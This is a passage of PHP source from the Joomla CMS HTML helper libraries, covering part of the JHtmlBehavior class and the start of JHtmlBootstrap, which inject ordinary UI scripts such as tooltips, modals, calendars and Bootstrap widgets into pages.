static::$loaded[__METHOD__][$selector] = true;
}
/**
* Add unobtrusive JavaScript support for form validation.
*
* To enable form validation the form tag must have
class="form-validate".
* Each field that needs to be validated needs to have
class="validate".
* Additional handlers can be added to the handler for username, password,
* numeric and email. To use these add class="validate-email"
and so on.
*
* @return void
*
* @since 1.5
*
* @Deprecated 3.4 Use formvalidator instead
*/
public static function formvalidation()
{
JLog::add('The use of formvalidation is deprecated use formvalidator
instead.', JLog::WARNING, 'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include MooTools framework
static::framework();
// Load the new jQuery code
static::formvalidator();
}
/**
* Add unobtrusive JavaScript support for form validation.
*
* To enable form validation the form tag must have
class="form-validate".
* Each field that needs to be validated needs to have
class="validate".
* Additional handlers can be added to the handler for username, password,
* numeric and email. To use these add class="validate-email"
and so on.
*
* @return void
*
* @since 3.4
*/
public static function formvalidator()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
// Add validate.js language strings
JText::script('JLIB_FORM_FIELD_INVALID');
JHtml::_('script', 'system/punycode.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/validate.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for submenu switcher support
*
* @return void
*
* @since 1.5
*/
public static function switcher()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/switcher.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
$script = "
document.switcher = null;
jQuery(function($){
var toggler = document.getElementById('submenu');
var element = document.getElementById('config-document');
if (element) {
document.switcher = new JSwitcher(toggler, element);
}
});";
JFactory::getDocument()->addScriptDeclaration($script);
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a combobox effect.
*
* Note that this control is only reliable in absolutely positioned
elements.
* Avoid using a combobox in a slider or dynamic pane.
*
* @return void
*
* @since 1.5
*/
public static function combobox()
{
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
JHtml::_('script', 'system/combobox.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a hover tooltips.
*
* Add a title attribute to any element in the form
* title="title::text"
*
* Uses the core Tips class in MooTools.
*
* @param string $selector The class selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - maxTitleChars integer The maximum
number of characters in the tooltip title (defaults to 50).
* - offsets object The distance of
your tooltip from the mouse (defaults to {'x': 16, 'y':
16}).
* - showDelay integer The millisecond
delay the show event is fired (defaults to 100).
* - hideDelay integer The millisecond
delay the hide hide is fired (defaults to 100).
* - className string The className
your tooltip container will get.
* - fixed boolean If set to true,
the toolTip will not follow the mouse.
* - onShow function The default
function for the show event, passes the tip element
* and the currently hovered element.
* - onHide function The default
function for the hide event, passes the currently
* hovered element.
*
* @return void
*
* @since 1.5
*/
public static function tooltip($selector = '.hasTip', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
// Include MooTools framework
static::framework(true);
// Setup options object
$opt['maxTitleChars'] =
isset($params['maxTitleChars']) &&
$params['maxTitleChars'] ? (int)
$params['maxTitleChars'] : 50;
// Offsets needs an array in the format: array('x'=>20,
'y'=>30)
$opt['offset'] = isset($params['offset'])
&& is_array($params['offset']) ?
$params['offset'] : null;
$opt['showDelay'] = isset($params['showDelay']) ?
(int) $params['showDelay'] : null;
$opt['hideDelay'] = isset($params['hideDelay']) ?
(int) $params['hideDelay'] : null;
$opt['className'] = isset($params['className']) ?
$params['className'] : null;
$opt['fixed'] = isset($params['fixed'])
&& $params['fixed'];
$opt['onShow'] = isset($params['onShow']) ?
'\\' . $params['onShow'] : null;
$opt['onHide'] = isset($params['onHide']) ?
'\\' . $params['onHide'] : null;
$options = JHtml::getJSObject($opt);
// Include jQuery
JHtml::_('jquery.framework');
// Attach tooltips to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(function($) {
$('$selector').each(function() {
var title = $(this).attr('title');
if (title) {
var parts = title.split('::', 2);
var mtelement = document.id(this);
mtelement.store('tip:title', parts[0]);
mtelement.store('tip:text', parts[1]);
}
});
var JTooltips = new Tips($('$selector').get(), $options);
});"
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* Add unobtrusive JavaScript support for modal links.
*
* @param string $selector The selector for which a modal behaviour is
to be applied.
* @param array $params An array of parameters for the modal
behaviour.
* Options for the modal behaviour can be:
* - ajaxOptions
* - size
* - shadow
* - overlay
* - onOpen
* - onClose
* - onUpdate
* - onResize
* - onShow
* - onHide
*
* @return void
*
* @since 1.5
* @deprecated 4.0 Use the modal equivalent from bootstrap
*/
public static function modal($selector = 'a.modal', $params =
array())
{
$document = JFactory::getDocument();
// Load the necessary files if they haven't yet been loaded
if (!isset(static::$loaded[__METHOD__]))
{
// Include MooTools framework
static::framework(true);
// Load the JavaScript and css
JHtml::_('script', 'system/modal.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
JHtml::_('stylesheet', 'system/modal.css',
array('version' => 'auto', 'relative'
=> true));
}
$sig = md5(serialize(array($selector, $params)));
if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
JLog::add('JHtmlBehavior::modal is deprecated. Use the modal
equivalent from bootstrap.', JLog::WARNING, 'deprecated');
// Setup options object
$opt['ajaxOptions'] = isset($params['ajaxOptions'])
&& is_array($params['ajaxOptions']) ?
$params['ajaxOptions'] : null;
$opt['handler'] = isset($params['handler']) ?
$params['handler'] : null;
$opt['parseSecure'] = isset($params['parseSecure'])
? (bool) $params['parseSecure'] : null;
$opt['closable'] = isset($params['closable']) ?
(bool) $params['closable'] : null;
$opt['closeBtn'] = isset($params['closeBtn']) ?
(bool) $params['closeBtn'] : null;
$opt['iframePreload'] =
isset($params['iframePreload']) ? (bool)
$params['iframePreload'] : null;
$opt['iframeOptions'] =
isset($params['iframeOptions']) &&
is_array($params['iframeOptions']) ?
$params['iframeOptions'] : null;
$opt['size'] = isset($params['size'])
&& is_array($params['size']) ? $params['size']
: null;
$opt['shadow'] = isset($params['shadow']) ?
$params['shadow'] : null;
$opt['overlay'] = isset($params['overlay']) ?
$params['overlay'] : null;
$opt['onOpen'] = isset($params['onOpen']) ?
$params['onOpen'] : null;
$opt['onClose'] = isset($params['onClose']) ?
$params['onClose'] : null;
$opt['onUpdate'] = isset($params['onUpdate']) ?
$params['onUpdate'] : null;
$opt['onResize'] = isset($params['onResize']) ?
$params['onResize'] : null;
$opt['onMove'] = isset($params['onMove']) ?
$params['onMove'] : null;
$opt['onShow'] = isset($params['onShow']) ?
$params['onShow'] : null;
$opt['onHide'] = isset($params['onHide']) ?
$params['onHide'] : null;
// Include jQuery
JHtml::_('jquery.framework');
if (isset($params['fullScreen']) && (bool)
$params['fullScreen'])
{
$opt['size'] = array('x' =>
'\\jQuery(window).width() - 80', 'y' =>
'\\jQuery(window).height() - 80');
}
$options = JHtml::getJSObject($opt);
// Attach modal behavior to document
$document
->addScriptDeclaration(
"
jQuery(function($) {
SqueezeBox.initialize(" . $options . ");
initSqueezeBox();
$(document).on('subform-row-add', initSqueezeBox);
function initSqueezeBox(event, container)
{
SqueezeBox.assign($(container || document).find('" .
$selector . "').get(), {
parse: 'rel'
});
}
});
window.jModalClose = function () {
SqueezeBox.close();
};
// Add extra modal close functionality for tinyMCE-based editors
document.onreadystatechange = function () {
if (document.readyState == 'interactive' && typeof
tinyMCE != 'undefined' && tinyMCE)
{
if (typeof window.jModalClose_no_tinyMCE === 'undefined')
{
window.jModalClose_no_tinyMCE = typeof(jModalClose) ==
'function' ? jModalClose : false;
jModalClose = function () {
if (window.jModalClose_no_tinyMCE)
window.jModalClose_no_tinyMCE.apply(this, arguments);
tinyMCE.activeEditor.windowManager.close();
};
}
if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined')
{
if (typeof(SqueezeBox) == 'undefined') SqueezeBox = {};
window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) ==
'function' ? SqueezeBox.close : false;
SqueezeBox.close = function () {
if (window.SqueezeBoxClose_no_tinyMCE)
window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments);
tinyMCE.activeEditor.windowManager.close();
};
}
}
};
"
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* JavaScript behavior to allow shift select in grids
*
* @param string $id The id of the form for which a multiselect
behaviour is to be applied.
*
* @return void
*
* @since 1.7
*/
public static function multiselect($id = 'adminForm')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$id]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/multiselect.js',
array('version' => 'auto', 'relative'
=> true));
// Attach multiselect to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(document).ready(function() {
Joomla.JMultiSelect('" . $id . "');
});"
);
// Set static array
static::$loaded[__METHOD__][$id] = true;
return;
}
/**
* Add unobtrusive javascript support for a collapsible tree.
*
* @param string $id An index
* @param array $params An array of options.
* @param array $root The root node
*
* @return void
*
* @since 1.5
*/
public static function tree($id, $params = array(), $root = array())
{
// Include MooTools framework
static::framework();
JHtml::_('script', 'system/mootree.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
JHtml::_('stylesheet', 'system/mootree.css',
array('version' => 'auto', 'relative'
=> true));
if (isset(static::$loaded[__METHOD__][$id]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
// Setup options object
$opt['div'] = array_key_exists('div', $params) ?
$params['div'] : $id . '_tree';
$opt['mode'] = array_key_exists('mode', $params) ?
$params['mode'] : 'folders';
$opt['grid'] = array_key_exists('grid', $params) ?
'\\' . $params['grid'] : true;
$opt['theme'] = array_key_exists('theme', $params) ?
$params['theme'] : JHtml::_('image',
'system/mootree.gif', '', array(), true, true);
// Event handlers
$opt['onExpand'] = array_key_exists('onExpand',
$params) ? '\\' . $params['onExpand'] : null;
$opt['onSelect'] = array_key_exists('onSelect',
$params) ? '\\' . $params['onSelect'] : null;
$opt['onClick'] = array_key_exists('onClick',
$params) ? '\\' . $params['onClick']
: '\\function(node){ window.open(node.data.url, node.data.target !=
null ? node.data.target : \'_self\'); }';
$options = JHtml::getJSObject($opt);
// Setup root node
$rt['text'] = array_key_exists('text', $root) ?
$root['text'] : 'Root';
$rt['id'] = array_key_exists('id', $root) ?
$root['id'] : null;
$rt['color'] = array_key_exists('color', $root) ?
$root['color'] : null;
$rt['open'] = array_key_exists('open', $root) ?
'\\' . $root['open'] : true;
$rt['icon'] = array_key_exists('icon', $root) ?
$root['icon'] : null;
$rt['openicon'] = array_key_exists('openicon', $root)
? $root['openicon'] : null;
$rt['data'] = array_key_exists('data', $root) ?
$root['data'] : null;
$rootNode = JHtml::getJSObject($rt);
$treeName = array_key_exists('treeName', $params) ?
$params['treeName'] : '';
$js = ' jQuery(function(){
tree' . $treeName . ' = new MooTreeControl(' . $options .
',' . $rootNode . ');
tree' . $treeName . '.adopt(\'' . $id .
'\');})';
// Attach tooltips to document
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
// Set static array
static::$loaded[__METHOD__][$id] = true;
return;
}
/**
* Add unobtrusive JavaScript support for a calendar control.
*
* @return void
*
* @since 1.5
*
* @deprecated 4.0
*/
public static function calendar()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
JLog::add('JHtmlBehavior::calendar is deprecated as the static
assets are being loaded in the relative layout.', JLog::WARNING,
'deprecated');
$document = JFactory::getDocument();
$tag = JFactory::getLanguage()->getTag();
$attribs = array('title' =>
JText::_('JLIB_HTML_BEHAVIOR_GREEN'), 'media' =>
'all');
JHtml::_('stylesheet', 'system/calendar-jos.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
JHtml::_('script', $tag . '/calendar.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', $tag . '/calendar-setup.js',
array('version' => 'auto', 'relative'
=> true));
$translation = static::calendartranslation();
if ($translation)
{
$document->addScriptDeclaration($translation);
}
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a color picker.
*
* @return void
*
* @since 1.7
*
* @deprecated 4.0 Use directly the field or the layout
*/
public static function colorpicker()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/jquery.minicolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.minicolors.css',
array('version' => 'auto', 'relative'
=> true));
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function (){
jQuery('.minicolors').each(function() {
jQuery(this).minicolors({
control: jQuery(this).attr('data-control') ||
'hue',
format: jQuery(this).attr('data-validate') ===
'color'
? 'hex'
: (jQuery(this).attr('data-format') === 'rgba'
? 'rgb'
: jQuery(this).attr('data-format'))
|| 'hex',
keywords: jQuery(this).attr('data-keywords') ||
'',
opacity: jQuery(this).attr('data-format') ===
'rgba' ? true : false || false,
position: jQuery(this).attr('data-position') ||
'default',
theme: 'bootstrap'
});
});
});
"
);
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a simple color picker.
*
* @return void
*
* @since 3.1
*
* @deprecated 4.0 Use directly the field or the layout
*/
public static function simplecolorpicker()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/jquery.simplecolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.simplecolors.css',
array('version' => 'auto', 'relative'
=> true));
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function (){
jQuery('select.simplecolors').simplecolors();
});
"
);
static::$loaded[__METHOD__] = true;
}
/**
* Keep session alive, for example, while editing or creating an article.
*
* @return void
*
* @since 1.5
*/
public static function keepalive()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
$session = JFactory::getSession();
// If the handler is not 'Database', we set a fixed, small
refresh value (here: 5 min)
$refreshTime = 300;
if ($session->storeName === 'database')
{
$lifeTime = $session->getExpire();
$refreshTime = $lifeTime <= 60 ? 45 : $lifeTime - 60;
// The longest refresh period is one hour to prevent integer overflow.
if ($refreshTime > 3600 || $refreshTime <= 0)
{
$refreshTime = 3600;
}
}
// If we are in the frontend or logged in as a user, we can use the ajax
component to reduce the load
$uri = 'index.php' .
(JFactory::getApplication()->isClient('site') ||
!JFactory::getUser()->guest ?
'?option=com_ajax&format=json' : '');
// Include core and polyfill for browsers lower than IE 9.
static::core();
static::polyfill('event', 'lt IE 9');
// Add keepalive script options.
JFactory::getDocument()->addScriptOptions('system.keepalive',
array('interval' => $refreshTime * 1000, 'uri' =>
JRoute::_($uri)));
// Add script.
JHtml::_('script', 'system/keepalive.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
return;
}
/**
* Highlight some words via Javascript.
*
* @param array $terms Array of words that should be highlighted.
* @param string $start ID of the element that marks the begin of
the section in which words
* should be highlighted. Note this element
will be removed from the DOM.
* @param string $end ID of the element that end this section.
* Note this element will be removed from the
DOM.
* @param string $className Class name of the element highlights are
wrapped in.
* @param string $tag Tag that will be used to wrap the
highlighted words.
*
* @return void
*
* @since 2.5
*/
public static function highlighter(array $terms, $start =
'highlighter-start', $end = 'highlighter-end',
$className = 'highlight', $tag = 'span')
{
$sig = md5(serialize(array($terms, $start, $end)));
if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
$terms = array_filter($terms, 'strlen');
// Nothing to Highlight
if (empty($terms))
{
static::$loaded[__METHOD__][$sig] = true;
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/highlighter.js',
array('version' => 'auto', 'relative'
=> true));
foreach ($terms as $i => $term)
{
$terms[$i] = JFilterOutput::stringJSSafe($term);
}
$document = JFactory::getDocument();
$document->addScriptDeclaration("
jQuery(function ($) {
var start = document.getElementById('" . $start .
"');
var end = document.getElementById('" . $end . "');
if (!start || !end || !Joomla.Highlighter) {
return true;
}
highlighter = new Joomla.Highlighter({
startElement: start,
endElement: end,
className: '" . $className . "',
onlyWords: false,
tag: '" . $tag . "'
}).highlight([\"" . implode('","',
$terms) . "\"]);
$(start).remove();
$(end).remove();
});
");
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* Break us out of any containing iframes
*
* @return void
*
* @since 1.5
*
* @deprecated 4.0 Add a X-Frame-Options HTTP Header with the SAMEORIGIN
value instead.
*/
public static function noframes()
{
JLog::add(__METHOD__ . ' is deprecated, add a X-Frame-Options HTTP
Header with the SAMEORIGIN value instead.', JLog::WARNING,
'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
$js = 'jQuery(function () {
if (top == self) {
document.documentElement.style.display = "block";
}
else
{
top.location = self.location;
}
// Firefox fix
jQuery("input[autofocus]").focus();
})';
$document = JFactory::getDocument();
$document->addStyleDeclaration('html { display:none }');
$document->addScriptDeclaration($js);
JFactory::getApplication()->setHeader('X-Frame-Options',
'SAMEORIGIN');
static::$loaded[__METHOD__] = true;
}
/**
* Internal method to get a JavaScript object notation string from an
array
*
* @param array $array The array to convert to JavaScript object
notation
*
* @return string JavaScript object notation representation of the array
*
* @since 1.5
* @deprecated 4.0 - Use JHtml::getJSObject() instead.
*/
protected static function _getJSObject($array = array())
{
JLog::add('JHtmlBehavior::_getJSObject() is deprecated.
JHtml::getJSObject() instead..', JLog::WARNING,
'deprecated');
return JHtml::getJSObject($array);
}
/**
* Add unobtrusive JavaScript support to keep a tab state.
*
* Note that keeping tab state only works for inner tabs if in accordance
with the following example:
*
* ```
* parent tab = permissions
* child tab = permission-<identifier>
* ```
*
* Each tab header `<a>` tag also should have a unique href
attribute
*
* @return void
*
* @since 3.2
*/
public static function tabstate()
{
if (isset(self::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('behavior.polyfill',
array('filter','xpath'));
JHtml::_('script', 'system/tabs-state.js',
array('version' => 'auto', 'relative'
=> true));
self::$loaded[__METHOD__] = true;
}
/**
* Add javascript polyfills.
*
* @param string|array $polyfillTypes The polyfill type(s).
Examples: event, array('event', 'classlist').
* @param string $conditionalBrowser An IE conditional
expression. Example: lt IE 9 (lower than IE 9).
*
* @return void
*
* @since 3.7.0
*/
public static function polyfill($polyfillTypes = null, $conditionalBrowser
= null)
{
if ($polyfillTypes === null)
{
return;
}
foreach ((array) $polyfillTypes as $polyfillType)
{
$sig = md5(serialize(array($polyfillType, $conditionalBrowser)));
// Only load once
if (isset(static::$loaded[__METHOD__][$sig]))
{
continue;
}
// If include according to browser.
$scriptOptions = array('version' => 'auto',
'relative' => true);
$scriptOptions = $conditionalBrowser !== null ?
array_replace($scriptOptions, array('conditional' =>
$conditionalBrowser)) : $scriptOptions;
JHtml::_('script', 'system/polyfill.' .
$polyfillType . '.js', $scriptOptions);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
}
/**
* Internal method to translate the JavaScript Calendar
*
* @return string JavaScript that translates the object
*
* @since 1.5
*/
protected static function calendartranslation()
{
static $jsscript = 0;
// Guard clause, avoids unnecessary nesting
if ($jsscript)
{
return false;
}
$jsscript = 1;
// To keep the code simple here, run strings through JText::_() using
array_map()
$callback = array('JText', '_');
$weekdays_full = array_map(
$callback, array(
'SUNDAY', 'MONDAY', 'TUESDAY',
'WEDNESDAY', 'THURSDAY', 'FRIDAY',
'SATURDAY', 'SUNDAY',
)
);
$weekdays_short = array_map(
$callback,
array(
'SUN', 'MON', 'TUE', 'WED',
'THU', 'FRI', 'SAT', 'SUN',
)
);
$months_long = array_map(
$callback, array(
'JANUARY', 'FEBRUARY', 'MARCH',
'APRIL', 'MAY', 'JUNE',
'JULY', 'AUGUST', 'SEPTEMBER',
'OCTOBER', 'NOVEMBER', 'DECEMBER',
)
);
$months_short = array_map(
$callback, array(
'JANUARY_SHORT', 'FEBRUARY_SHORT',
'MARCH_SHORT', 'APRIL_SHORT', 'MAY_SHORT',
'JUNE_SHORT',
'JULY_SHORT', 'AUGUST_SHORT',
'SEPTEMBER_SHORT', 'OCTOBER_SHORT',
'NOVEMBER_SHORT', 'DECEMBER_SHORT',
)
);
// This will become an object in Javascript but define it first in PHP
for readability
$today = " " . JText::_('JLIB_HTML_BEHAVIOR_TODAY') .
" ";
$text = array(
'INFO' =>
JText::_('JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR'),
'ABOUT' => "DHTML Date/Time Selector\n"
. "(c) dynarch.com 20022005 / Author: Mihai Bazon\n"
. "For latest version visit:
http://www.dynarch.com/projects/calendar/\n"
. "Distributed under GNU LGPL. See
http://gnu.org/licenses/lgpl.html for details."
. "\n\n"
. JText::_('JLIB_HTML_BEHAVIOR_DATE_SELECTION')
. JText::_('JLIB_HTML_BEHAVIOR_YEAR_SELECT')
. JText::_('JLIB_HTML_BEHAVIOR_MONTH_SELECT')
. JText::_('JLIB_HTML_BEHAVIOR_HOLD_MOUSE'),
'ABOUT_TIME' => "\n\n"
. "Time selection:\n"
. " Click on any of the time parts to increase it\n"
. " or Shiftclick to decrease it\n"
. " or click and drag for faster selection.",
'PREV_YEAR' =>
JText::_('JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU'),
'PREV_MONTH' =>
JText::_('JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU'),
'GO_TODAY' =>
JText::_('JLIB_HTML_BEHAVIOR_GO_TODAY'),
'NEXT_MONTH' =>
JText::_('JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU'),
'SEL_DATE' =>
JText::_('JLIB_HTML_BEHAVIOR_SELECT_DATE'),
'DRAG_TO_MOVE' =>
JText::_('JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE'),
'PART_TODAY' => $today,
'DAY_FIRST' =>
JText::_('JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST'),
'WEEKEND' =>
JFactory::getLanguage()->getWeekEnd(),
'CLOSE' =>
JText::_('JLIB_HTML_BEHAVIOR_CLOSE'),
'TODAY' =>
JText::_('JLIB_HTML_BEHAVIOR_TODAY'),
'TIME_PART' =>
JText::_('JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE'),
'DEF_DATE_FORMAT' => "%Y%m%d",
'TT_DATE_FORMAT' =>
JText::_('JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT'),
'WK' =>
JText::_('JLIB_HTML_BEHAVIOR_WK'),
'TIME' =>
JText::_('JLIB_HTML_BEHAVIOR_TIME'),
);
return 'Calendar._DN = ' . json_encode($weekdays_full) .
';'
. ' Calendar._SDN = ' . json_encode($weekdays_short) .
';'
. ' Calendar._FD = 0;'
. ' Calendar._MN = ' . json_encode($months_long) .
';'
. ' Calendar._SMN = ' . json_encode($months_short) .
';'
. ' Calendar._TT = ' . json_encode($text) . ';';
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Bootstrap elements.
*
* @since 3.0
*/
abstract class JHtmlBootstrap
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Add javascript support for the Bootstrap affix plugin
*
* @param string $selector Unique selector for the element to be
affixed.
* @param array $params An array of options.
* Options for the affix plugin can be:
* - offset number|function|object Pixels to
offset from screen when calculating position of scroll.
* If a
single number is provided, the offset will be applied in both top
* and left
directions. To listen for a single direction, or multiple
* unique
offsets, just provide an object offset: { x: 10 }.
* Use a
function when you need to dynamically provide an offset
* (useful
for some responsive designs).
*
* @return void
*
* @since 3.1
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
public static function affix($selector = 'affix', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ?
$params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach affix to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').affix(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap alerts
*
* @param string $selector Common class for the alerts
*
* @return void
*
* @since 3.0
*/
public static function alert($selector = 'alert')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the alerts to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').alert(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap buttons
*
* @param string $selector Common class for the buttons
*
* @return void
*
* @since 3.1
*/
public static function button($selector = 'button')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the button to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').button(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap carousels
*
* @param string $selector Common class for the carousels.
* @param array $params An array of options for the carousel.
* Options for the carousel can be:
* - interval number The amount of time to
delay between automatically cycling an item.
* If false, carousel will
not automatically cycle.
* - pause string Pauses the cycling of
the carousel on mouseenter and resumes the cycling
* of the carousel on
mouseleave.
*
* @return void
*
* @since 3.0
*/
public static function carousel($selector = 'carousel', $params
= array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['interval'] = isset($params['interval']) ?
(int) $params['interval'] : 5000;
$opt['pause'] = isset($params['pause']) ?
$params['pause'] : 'hover';
$options = JHtml::getJSObject($opt);
// Attach the carousel to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').carousel(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap dropdowns
*
* @param string $selector Common class for the dropdowns
*
* @return void
*
* @since 3.0
*/
public static function dropdown($selector = 'dropdown-toggle')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the dropdown to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').dropdown(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Method to load the Bootstrap JavaScript framework into the document
head
*
* If debugging mode is on an uncompressed version of Bootstrap is
included for easier debugging.
*
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function framework($debug = null)
{
// Only load once
if (!empty(static::$loaded[__METHOD__]))
{
return;
}
// Load jQuery
JHtml::_('jquery.framework');
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
JHtml::_('script', 'jui/bootstrap.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
static::$loaded[__METHOD__] = true;
return;
}
/**
* Add javascript support for Bootstrap modals
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - backdrop boolean Includes a
modal-backdrop element.
* - keyboard boolean Closes the modal when
escape key is pressed.
* - show boolean Shows the modal when
initialized.
* - remote string An optional remote URL
to load
*
* @return void
*
* @since 3.0
* @deprecated 4.0 This method was used by the old renderModal()
implementation.
* Since the new implementation it is unneeded and the
broken JS it was injecting could create issues
* As a case, please see:
https://github.com/joomla/joomla-cms/pull/6918
*/
public static function modal($selector = 'modal', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['backdrop'] = isset($params['backdrop']) ?
(boolean) $params['backdrop'] : true;
$opt['keyboard'] = isset($params['keyboard']) ?
(boolean) $params['keyboard'] : true;
$opt['show'] = isset($params['show']) ?
(boolean) $params['show'] : false;
$opt['remote'] = isset($params['remote']) ?
$params['remote'] : '';
$options = JHtml::getJSObject($opt);
// Attach the modal to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').modal(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Method to render a Bootstrap modal
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the
top of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource
to be inserted as an `<iframe>` inside the modal body
* - height string height of the
`<iframe>` containing the remote resource
* - width string width of the
